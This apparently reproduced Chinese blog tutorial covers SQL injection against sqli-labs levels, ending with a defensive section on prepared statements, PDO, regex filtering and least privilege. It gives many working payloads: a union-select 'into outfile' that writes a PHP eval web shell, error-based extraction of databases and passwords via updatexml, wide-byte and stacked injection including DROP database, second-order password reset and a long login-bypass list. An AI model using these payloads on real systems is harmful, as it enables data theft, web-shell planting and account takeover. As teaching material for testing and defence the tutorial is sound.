+在文件写入读取的时候,遇见以下这种情况。多半是因为权限不足,可以使用@@datadir,得到当前数据库存储目录,试着在数据库存储目录进行文件注入 比如http://192.168.209.128:88/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile '/www/server/mysql/4.php' --注入成功权限不足的解决办法-参考环境:CentOS7.0 64 位MySQL5.7问题:#使用'select into outfile'备份数据表提示无法写入文件 mysql> select 1,2,'you are very good hacker' from into outfile '/www/server/mysql/app.txt'; ERROR 1 (HY000): Can't create/write to file '/www/server/mysql/app.txt' (Errcode: 13)排查:#查看mysql的进程用户,为mysql用户 [root@lfs ~]# ps aux|grep mysqld root 1400 0.0 0.1 108208 1612 ? S 01:22 0:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --user=mysql mysql 1778 0.0 6.6 974276 67076 ? Sl 01:22 0:06 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/data/lfs.err --pid-file=/usr/local/mysql/data/lfs.pid --socket=/tmp/mysql.sock --port=3306 #查看/www/server/mysql/目录的权限,mysql用户没有写入权限 [root@lfs ~]# ls -ld /www/server/mysql/ drwxr-xr-x 4 root root 4096 Aug 23 17:03 /www/server/mysql/解决办法:#将/data/mysql/目录的归属为mysql用户 chown -R mysql.mysql /www/server/mysql/ [root@lfs ~]# ls -ld /data/mysql/ drwxr-xr-x 4 mysql mysql 4096 Aug 23 17:03 /www/server/mysql/验证,写入成功: 四、报错注入报错注⼊常⽤的函数 floor() extractvalue() updatexml() geometrycollection() multipoint() polygon() multipolygon() linestring() .。。。。。 这里介绍一个案例updatexml()。updatexml()MySQL提供了一个 updatexml()函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。我们尝试在查询用户id的同时,使用报错函数,在地址栏输入:?id=1' and updatexml(1, 0x7e, 3) -- a参数2内容中的查询结果显示在数据库的报错信息中,并回显到页面。version():返回数据库版本concat():拼接特殊符号和查询结果updatexml()函数的报错内容长度不能超过32个字符,常用的解决方式有两种: limit:分页 substr():截取字符 1.1 limit分页例如,已知users表中包含username和password两个字段,显示出某个password字段的数据id=-1' and updatexml(1, concat(0x7e,( select password from users limit 0,1 )), 3) -- a使用group_concat(字段名)显示出最高32位字符长度,password字段的数据id=-1' and updatexml(1, concat(0x7e,( select group_concat(password) from users limit 0,1 )), 3) -- a1.2 substr()获取密码数据案例http://192.168.209.128:88/Less-1/?id=-1' and updatexml(1, concat(0x7e, substr((select group_concat(password) from users),1,31) ),3) -- qwe1.3 步骤总结适用情况:页面有数据库报错信息1.网站信息必须是动态的,来自数据库的报错信息。 2.网站写死的、自定义的报错信息不算1>.判断是否报错参数中添加单/双引号,页面报错才可进行下一步。?id=1' -- a2>.判断报错条件参数中添加报错函数,检查报错信息是否正常回显。?id=1' and updatexml(1,'~',3) -- a 3>. 脱库//获取所有数据库 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(schema_name) from information_schema.schemata) ,1,31) ),3) -- qwq //获取所有表 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(table_name) from information_schema.tables where table_schema ='security') ,1,31) ),3) -- qwq //获取所有字段 ?id=1' and updatexml(1,concat('~', substr( (select group_concat(column_name) from information_schema.columns where table_schema ='security' and table_name='users') ,1,31) ),3) -- qwq五、时间盲注Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。//判断是否存在延时注入 ?id=1' and sleep(5) --+六、宽字节注入宽字节注入是由于不同编码中中英文所占字符的的不同所导致的,通常的来说,在GBK编码当中,一个汉字占用2个字节。除了UTF-8以外,所有的ANSI编码中文都是占用俩个字符。//GBK和其他所有ANSI结果为2 echo strlen("中") //UTF-8 echo strlen("中") //结果为3我们先说一下php中对于SQL注入的过滤,这里就不得不提到几个函数了。addslashes()函数,这个函数在预定义字符之前添加反斜杠 。 这个函数有一个特点虽然会添加反斜杠 进行转义,但是 并不会插入到数据库中。。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc()来检测是否已经转义。mysql_real_escape_string() 函数,这个函数用来转义sql语句中的特殊符号x00、n、r、、'、" 、x1a。注: 预定义字符:单引 ',双引 ",反斜 ,NULL 魔术引号:当打开时,所有单引号 '、双引号 " 、反斜杠 和NULL字符都会被自动加上一个反斜线来进行转义,和addslashes()函数的作用完全相同。所以,如果魔术引号打开,就不要使用addslashes()函数。一共有三个魔术引号指令: magic_quotes_gpc magic_quotes_runtime magic_quotes_sybase 实操:此次采用sqli的Less-32,//正常显示 http://192.168.209.128:88/Less-32/?id=1 -- qwq开始注入://添加引号 http://192.168.209.128:88/Less-32/?id=1' -- qwq//布尔注入 http://192.168.209.128:88/Less-32/?id=1' and 1=2 -- qwq//unionunion注入 http://192.168.209.128:88/Less-32/?id=1' union select 1,version(),database() -- qwq发现页面回显信息,每次注入都将进行了转义,这时候就要把 去掉,宽字节注入,这里利用的是MySQL的一个特性。MySQL在使用GBK编码的时候,会认为2个字符是1个汉字,前提是前一个字符的ASCII值大于128,才会认为是汉字。所以只要我们输入的数据大于等于 %81 就可以使 ' 逃脱出来了。开始注入: http://192.168.1.132:86/Less-32/?id=1 %df 可以发现%df和 ' 组成了一个汉字 把/号干掉之后就可以用unionunion注入查询数据了。http://192.168.209.128:88/Less-32/?id=-1�' union select 1,2,3 -- qwq注入成功!七、堆叠注入在SQL中,分号;是用来表示一条sql语句的结束。试想一下我们在 一条语句结束后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(union注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于union 或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:root';DROP database user;服务器端生成的sql语句为:select * from user where name='root';DROP database user;当执行查询后,第一条显示查询信息,第二条则将整个user数据库删除。八、二次注入概念二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是SQL注入的一种,但是比普通SQL注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。原理在第一次进行数据插入数据库得时候,仅仅知识使用了addslashes()或者是借助get_magic_quotes_gpc() 对其中得字符进行了转义,在后端代码中可能会被转义,但在存入数据库时候还是原来得数据,数据中一般带有单引号和#号,然后下次使用在拼凑SQL中,所以就行了二次注入。过程 插入1‘# 转义成1’# 不能注入,但是保存在数据库时变成了原来的1’# 利用1’#进行注入,这里利用时要求取出数据时不转义 条件 用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义) 数据库对自己存储得数据非常放心,直接读取出恶意数据给用户 利用 注册用户名admin’-- -(后面的-是为了突出前面的空格,起到了注释作用) 使用刚刚注册得账号进行登录。 3、查看注册源代码 发现用户在注册的时候没有进行特殊符号过滤,所以再一次说明我们注册的用户成功! 进行修改密码(攻击) 攻击成功 ,返回使用更新后的密码登录账号 admin。 登录成功 修改密码的时候,语句就会变为:$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin' -- w' and password='$curr_pass' ";-- w把后面的都给注释了,所以就是修改了admin用户的密码为 aaaaaa九、User-Agent 注入我们访问 http://127.0.0.1/sqli/Less-18/ ,页面显示一个登陆框和我们的ip信息。当我们输入正确的用户名和密码之后登陆之后,页面多显示了 浏览器的User-Agent。抓包,修改其User-Agent如下图,测试是否存在user-agent注入 页面报错,存在报错注入' and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1 #我们可以将 database()修改为任何的函数可以看到,页面将当前的数据库显示出来了。十、Cookie 注入原理cookie注入的原理是:就是修改cookie的值进行注入♦cookie注入其原理也和平时的注入一样,只不过注入参数换成了cookie♦要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。条件两个必须条件: 程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。 在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取,也就是说用request这个方法的时候获取的参数可以是在URL后面的参数,也可以是cookie里面的参数这里没有做筛选,之后的原理就像我们的SQL注入一样了。 十一、万能密码原理原验证登陆语句:SELECT * FROM admin WHERE Username= '".$username."' AND Password= '".md5($password)."'输入 1' or 1=1 or '1'='1万能密码语句变为:SELECT * FROM admin WHERE Username='1' OR 1=1 OR '1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG'即得到优先级关系:or<and<not,同一优先级默认从左往右计算。 上面'1'='1' AND Password='EDFKGMZDFSDFDSFRRQWERRFGGG' 先计算肯定返回false,因为密码是我们乱输入的。(此处是假) Username=‘1’ 返回假,数据库没有1这个用户名(此处是假) 1=1返回真(此处是真) 以上的结果是: 假 or 真 or假 返回真。验证通过。再比如:select tel,pwd where tel='111' and pwd='123456'我们把电话111看成一个变量,输入电话号码为' or 1= '1。sql就变为如下样子:select tel,pwd where tel='' or 1='1' and pwd='123456' 上面1='1' and pwd='123456'先计算肯定返回false。(此处是假) tel=‘’ 返回假,数据库没有''这个手机号。(此处是假) 以上的结果是: 真 or假 返回真。验证通过。常用的万能密码' or 1='1 'or'='or' admin admin'-- admin' or 4=4-- admin' or '1'='1'-- admin888 "or "a"="a admin' or 2=2# a' having 1=1# a' having 1=1-- admin' or '2'='2 ')or('a'='a or 4=4-- c a'or' 4=4-- "or 4=4-- 'or'a'='a "or"="a'='a 'or''=' 'or'='or' 1 or '1'='1'=1 1 or '1'='1' or 4=4 'OR 4=4%00 "or 4=4%00 'xor admin' UNION Select 1,1,1 FROM admin Where ''=' 1 -1%cf' union select 1,1,1 as password,1,1,1 %23 1 17..admin' or 'a'='a 密码随便 'or'='or' 'or 4=4/* something ' OR '1'='1 1'or'1'='1 admin' OR 4=4/* 1'or'1'='1Sql 注入的预防一般在项目中我们不太会去注意 SQL 注入的问题,因为我们会使用 ORM,而 ORM 在实现的过程中也会帮我做 SQL 注入过滤;但有的时候 ORM 没法满足我们的需求,这时可能就会手撸原生 SQL 来执行预编译(PreparedStatement)(JSP)可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。String sql = "select id, no from user where id=?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setInt(1, id); ps.executeQuery();如上所示,就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢?其原因就是:采用了PreparedStatement预编译,就会将SQL语句:"select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。PDO(PHP)首先简单介绍一下什么是PDO。PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。PDO对于解决SQL注入的原理也是基于预编译。$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行.使用正则表达式过滤正则表达式是一种用于匹配模式的工具,在检测 SQL 注入时非常有用。我们可以使用正则表达式来过滤和验证用户输入,以确保输入不包含任何恶意的 SQL 代码。下面是一些常见的正则表达式示例:对用户输入的特殊字符进行严格过滤,如 '、"、<、>、/、*、;、+、-、&、|、(、)、and、or、select、unionpattern = re.compile( r"(%27)|(')|(--)|(%23)|(#)|" # Regex for detection of SQL meta-characters r"w*((%27)|('))s+((%6F)|o|(%4F))((%72)|r|(%52))s*|" # Modified regex for detection of SQL meta-characters eg: ' or 1 = 1' detect word 'or', r"((%3D)|(=))[^n]*((%27)|(')|(--)|(%3B)|(;))" # Regex for typical SQL Injection attack eg: '= 1 --' r"((%27)|('))union|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))select|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))insert|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))update|" # Regex for detecting SQL Injection with the UNION keyword r"((%27)|('))drop", # Regex for detecting SQL Injection with the UNION keyword re.IGNORECASE, ) r = pattern.search("' OR 1 -- -") if r: return True其他Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库。设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查。使用 Web 应用防火墙。团长想组建一个网安萌新学习群,互相监督,成为网安大佬,如果内容对你有帮助,欢迎关注我的公众号【小羽网安】,里面不定期更新我自己的学习记录,用于更好的帮助萌新们解决问题。感谢!原文地址https://mp.weixin.qq.com/s/qVjYhimggJZ-wWyLKDixZA
2025年05月18日
1,148 阅读
0 评论
0 点赞
1
...
6
7
8
...
14